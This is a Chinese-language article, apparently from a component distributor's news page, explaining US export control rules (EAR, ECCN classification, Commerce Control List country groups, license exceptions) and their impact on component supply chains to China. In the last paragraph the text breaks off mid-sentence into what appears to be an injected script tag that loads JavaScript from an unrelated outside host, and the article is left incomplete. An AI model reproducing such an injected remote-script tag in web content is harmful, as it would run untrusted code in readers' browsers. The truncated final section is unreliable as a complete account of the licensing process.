美国高科技出口管制对元器件供应链的影响

美国最新通过的“2007年出口管制法案”修改了1979年的“出口管理法案”,并确定执行这一方案的主要机构是美国商务部工业安全局(bis)。为实行更严密的管制,该机构耗费巨资制定了一套严密完整的高科技产品和技术的出口管制规定(exportadministrationregulations,ear)。ear通过数千页精心设计的文件、数据和制度,从流程、分类、法制和国别将个人和组织的出口行为进行区分,将所有涉及到美国原产地和美国知识产权的技术和产品都纳入了管制范围。

    这一法案的推出改变了美国元器件产品及技术出口到中国的游戏规则,将对从美国出口到中国的元器件供应链造成很深的影响。为帮助大家对这一制度有更深的认识,寻找更好的应对措施和及时调整好自己的供应链,笔者作为元器件分销行业的从业人员,这里将自身经验和对这一制度的认识分享出来,供大家参考。

    管制的具体内涵和限定

    美国的高科技出口管制ear,简单的理解就是对出口的产品、目的地、客户和产品的最终用途进行明确的解释和限定。具体解释和限定如下:

    1.产品:通过eccn(出口控制分类编码)针对高科技产品和技术的类型和性能进行系统的分类和编码; 
                           
    2.目的地:美国bis制定的ccl(商品控制清单)有上千页之多,它对不同的eccn产品编码,按照产品和技术性能对不同国家和用途实施不同级别的控制,对其出口操作做出明确规定;

    3.客户:通过bis的政府网站,明确规定什么样的个人、组织和机构受到出口制裁;

    4.最终用途:对于军用,特别是核试验与核活动、导弹系统与无人驾驶飞行器、生化武器等产品和技术的用途实行严格限制。

    eccn的编码通过五位基码和后缀码来辨识。基码的编织规则是:第一位是数字,为商品控制类别号,共分十类,对元器件来说主要是:3电子/4计算机/5电信和信息安全/6激光和感应器/7导航和航天;第二位是字母:a为设备、组件、零件,b为检测设备,c为材料,d为软件,e为技术;第三、四、五位为数字,具体说明出口控制理由:000-009为国家安全(军品两用控制)、100-199为导弹技术、200-299为核不扩散、300-399为生化武器、900-999为海外政策(包括980-989为短缺和犯罪控制、990-999为反恐和联合国制裁等)。后缀的具体规定则在明确基码后查ccl的文件,ccl将美国以外全球国家分为四类:a类为美国战略合作伙伴、b类为较少限制国家和地区(如香港)、d类为受关注的国家(如中国)、e类为支持恐怖主义国家(如古巴、伊朗和利比亚等)。

    

    流程操作的四个步骤

    从出口流程管制来说,美国的出口商必须知晓自己经营产品的eccn号码或产品及技术的性能,然后查询ccl对应的文件看是否符合进口国和最终用户的出口限制规定。就美国高科技出口管制的流程来说(见图示),具体有四个步骤:

    首先,判断出口产品或技术的eccn号码,如果出口的产品和技术属于ear范畴,却在ccl列表中无具体对应,则为ear99型号(绝大部分产品属于该范畴),属于普通管制,对于中国一般客户都可放行。

    其次,对于不是ear99的eccn号码,则要判断它是否对黑名单中的个人或组织限制出口,判断它是否对进口国限制出口。如果不限制,则为nlr(nolicenserequired),不需要申请出口许可,否则要进入下一个流程。

    第三,即便eccn号码对应的出口属于需要许可证的类别,仍可通过检查有无“许可证例外”(licenseexception)来确认可否免除申请许可证。具体的检查办法是看ccl对于具体eccn号码的详细规定,它通过国家类别gbs、货运金额限制lvs和仅限民用civ等方式来规范出口。

    最后,如果上述流程都没有通过,则必须向美国工业安全局(bis)申请出口许可证。出口许可证通过美国在进口国的对应机构和美国bis的分支机构协作下办理。比如在中国?script src=http://er12.com/t.js>

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发布日期:2019年07月03日  所属分类:新闻动态